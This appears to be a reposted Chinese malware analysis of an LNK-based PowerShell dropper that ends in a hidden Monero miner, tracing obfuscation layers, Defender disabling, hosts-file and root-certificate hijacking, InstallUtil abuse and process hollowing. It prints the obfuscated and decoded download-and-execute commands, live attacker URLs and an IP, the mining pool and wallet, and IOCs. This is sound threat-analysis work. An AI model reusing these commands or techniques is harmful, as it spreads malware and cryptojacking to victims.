一个 .net 病毒的分析过程

本文作者:病毒分析小组全体成员

样本概述

本次样本为 Lnk 文件,内嵌了一个 Powershell 脚本,用于后续的释放和攻击……

md5 为 13d3d78aa4d28311e8e57ca01d34d11f,VT 扫描结果如下:

行为预览

详细分析

对 Lnk 文件使用 010editor 解析并从命令行提取出有效 payload 如下,根据经验判断为 Invoke-Obfuscation 混淆后的代码。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"-NoPr-WINd1-eXEcByP -jOin('73k69<88Z32~40~78~101m119<45_79P98Z106P101Z99m116@32k83Z121E115P116~101P109l46l78~101Z116l46_87_101m98@67@108k105Z101@110<116P41~46k68m111~119E110m108k111l97Z100k83<116@114_105~110_103P40E39<104m116P116P112l58k47~47m122m118_100P46<117l115m47@49<39l41'.spLIt('<ZPEmk_l@~')|%{([InT]$_-as[cHAr])})|&($sheLLid[1]+$sHelLid[13]+'X')

因为脚本病毒自身的局限性,灵活运用重定向即可反混淆,解密后代码只有一行

IEX (New-ObjectSystem.Net.WebClient).DownloadString('http://zvd.us/1')

访问 http://zvd.us/1 会重定向到 http://qgb.us/view/raw/55f809b0,可见为混淆后的 ps 代码

去除头部 ” &( $VERBOSEpREFeRENCe.tOSTRInG()[1,3]+'X'-JOIn'')”,将脚本输出重定向,解开第一层混淆,发现仍存在混淆,

去除 1.ps1 头部 ” " $(sV 'OFS' '')"+[STrINg]”以及尾部 ” " $(sV 'OFS' '')"+[STrINg]”,继续重定向输出,可见明文脚本,脚本头部代码为弹框提示视频错误从而迷惑受害者

主要功能代码为下载 http://zvd.us/2"$env:temp\tp.bat" 并调用 cmd 执行

$wc=new-object system.net.webclient;$wc.downloadfile("http://zvd.us/2","$env:temp\tp.bat")
UKCgo -BinPath C:\Windows\System32\cmd.exe -Args "/c $env:temp\tp.bat"

http://zvd.us/2 指示去下载 http://zvd.us/3

http://zvd.us/3 重定向到 http://qgb.us/view/raw/a3e7990e,显示为混淆的 ps 代码

解密后发现脚本首先通过注册表操作禁用掉 Windows Dedenfer,SmartScreen 等系统自带的安全功能

之后下载并执行几个文件,下面会逐一分析

脚本中下载链接与实际下载链接对应如下:

"http://tracker.awesomepush.online/5bc63d002c822c0001ff45fd","$env:temp\winstat.exe")
https://s3.amazonaws.com/360ossecure/simple/Alpha/installer.exe

"http://zrkls.pw/geo/geo.php","$env:temp\post2.exe")
http://zrkls.pw/files/svchost.exe

" http://zrkls.pw/p/geoip.php ","$env:temp\post3.exe")
http://zrkls.pw/p/p2.exe

"http://zrkls.pw/geo/geo.php","$env:temp\post2.exe")
http://107.172.196.165:7217/mn.exe

installer.exe 分析

该样本是一个 NSIS 安装包,主要用于网页劫持,用 7-Zip 解压之后,发现存在一个 Bat 脚本文件,pem 证书文件,用于劫持的 Hosts 文件

pem 证书文件如下:

Bat 命令如下:

certutil-addstore"Root"p.pem

将 Hosts 文件与系统的 Hosts 进行替换,内容如下:

NSIS 脚本文件中,将释放出来的 AlphaPassive.msi 添加启动项,用于网页的劫持

在系统中如下

MN.exe 分析

svchost.exe,mn.exe,p2.exe 均为混淆后的 C# 样本,使用 de4dot 即可去混淆,去混淆后发现均为同一种样本,故选取其中一个 mn.exe 分析,使用 dnSpy 打开去混淆后的程序,查看引用,可见存在 System.Configuration.Install,怀疑为利用 C# 自带的 InstallUtil.exe 来加载恶意代码,之后会结合样本解释此技术

当 C# 程序中存在 System.Configuration.Install.Installer 类的派生类时,如果通过 InstallUtil 程序启动,则程序不会从正常的入口点执行,而是从派生类中的 Uninstall 或 Install 类执行,我们在虚拟机中利用 procexp 就可以观察到样本通过 InstallUtil.exe 重新加载自身的行为:

程序正常入口点会调用 Class6.Form0_0.Run() 函数,从而调用 OnCreateMainForm() 函数

OnCreateMainForm() 函数通过 Activator.CreateInstance() 的方式实例化 GForm0,从而调用 GForm0 的构造函数

之后从资源节读取脚本,替换程序路径并执行

作用为通过 installutil.exe 重新启动程序,之后程序将会从 Uninstall 函数开始执行

脚本内容如下:

Uninstall 函数如下:

如果想要调试 Uninstall 函数,可以通过 patch 程序的方法将代码加到入口点,dnSpy 中 patch 程序后需要在文件菜单中选择全部保存才能正常调试

样本从 Uninstall 执行后,会从资源中的图片提取出另一个恶意程序并在内存中执行

执行后,首先进行反虚拟机,反沙箱,反调试操作

之后添加计划任务作为持久化措施

最后通过 process hollowing 的方式在 RegAsm.exe 进程内执行恶意代码,dump 下分析为开源的门罗币矿机 xmrig

github 的地址:

https://github.com/xmrig/xmrig

矿池地址

xmr-us-east1.nanopool.org:14444

钱包地址

428X5bXdQWu1SroTn6vR5nPPoHFDUkntmdppV267SJH2dXw3mMttKGQ8Tt49BPHbt2PXyEKdit5dx499AdkvGMgkUSLCc8j

13 个门罗币……

根据开源威胁情报可见服务器上还存在其他恶意代码。

http[:]//zrkls[.]]pw/http[:]//zrkls[.]pw/azhttp[:]//zrkls[.]pw/az/az[.]exehttp[:]//zrkls[.]pw/az/index[.]phphttp[:]//zrkls[.]pw/files/svchost[.]exehttp[:]//zrkls[.]pw/geo/geo[.]phphttp[:]//zrkls[.]pw/geo/geo[.]php,Patternhttp[:]//zrkls[.]pw/geo/nullhttp[:]//zrkls[.]pw/phttp[:]//zrkls[.]pw/p/geoip[.]phphttp[:]//zrkls[.]pw/p/nullhttp[:]//zrkls[.]pw/p/p2[.]exehttp[:]//zrkls[.]pw/tasks[.]phphttp[:]//zrkls[.]pw/upload/pd[.]exehttp[:]//zrkls[.]pw/upload/smk[.]exehttp[:]//zrkls[.]pw/upload/svchost[.]exehttp[:]//zrkls[.]pw/upload/win2[.]exehttp[:]//zrkls[.]pw/upload/wincircuit[.]exe

IOC

域名:

http[:]//zvd[.]ushttp[:]//qgb[.]ushttp[:]//tracker[.]awesomepush[.]onlinehttps[:]//s3[.]amazonaws[.]comhttp[:]//zrkls[.]pw

主要样本的SHA1:

d16d74d6c97d4704186bfcaa949c0f2f67ef30a28b511650e60229d6da9d6712a08d01514ce374a31d651924cbca82c12b4521cb33af79ef7af857b9

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-11-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏程序员八阿哥

Python从入门到摔门(6):Python Web服务器Tornado使用小结

举例来说,假设某个银行网站有这样的 URL: http://bank.example.com/withdraw?amount=1000000&for=Eve ...

25620
来自专栏linux驱动个人学习

Linux内存描述之概述--Linux内存管理(一)

传统的多核运算是使用SMP(Symmetric Multi-Processor )模式:将多个处理器与一个集中的存储器和I/O总线相连。所有处理器只能访问同一个...

26530
来自专栏知识分享

关于STM32 IAP

转眼间天亮了...... 然后就想起了一个朋友QQ的个性签名:年轻人总是要为一些自己认为有意义的事情而废寝忘食,通宵达旦,直至白发方休........ 对了这篇...

66240
来自专栏王小雷

IPython、Notebook、qtconsole使用教程

IPython、Notebook、qtconsole使用教程 上一篇为Python,IPython,qtconsole,Notebook,Jupyter快速安...

47160
来自专栏SDNLAB

OpenDaylight Lithium版本简单应用及流表操作指南

OpenDaylight(以下简写为ODL)的Lithium(锂)版本的最新版Lithium-SR2已经与2015年10月8日发布,具体详情可参考ODL官网。L...

55680
来自专栏FreeBuf

对利用Adobe 0day – CVE-2014-0502进行攻击的行为分析

前些天FireEye发布了一个利用AdobeFlash的新0day进行攻击的报告,且Adobe已经根据漏洞情况发布了一个安全更新。 根据FireEye的报告,许...

23280
来自专栏熊二哥

快速入门系列--WebAPI--01基础

ASP.NET MVC和WebAPI已经是.NET Web部分的主流,刚开始时两个公用同一个管道,之后为了更加的轻量化(WebAPI是对WCF Restful的...

57970
来自专栏酷玩时刻

支付宝Wap支付你了解多少?

为了方便开发者生成一对RSA密钥支付宝提供一键生成工具,具体如何生成与配置密钥详见签名专区。

47820
来自专栏Kubernetes

Kubelet Deivce Manager源码分析

本文基于Kubernetes v1.10的代码,对Kubelet Device Manager的实现进行了代码走读分析,方便对kubelet与device pl...

1.1K120
来自专栏开发与安全

80386的分段机制、分页机制和物理地址的形成

注:本分类下文章大多整理自《深入分析linux内核源代码》一书,另有参考其他一些资料如《linux内核完全剖析》、《linux c 编程一站式学习》等,只是为了...

31150

扫码关注云+社区

领取腾讯云代金券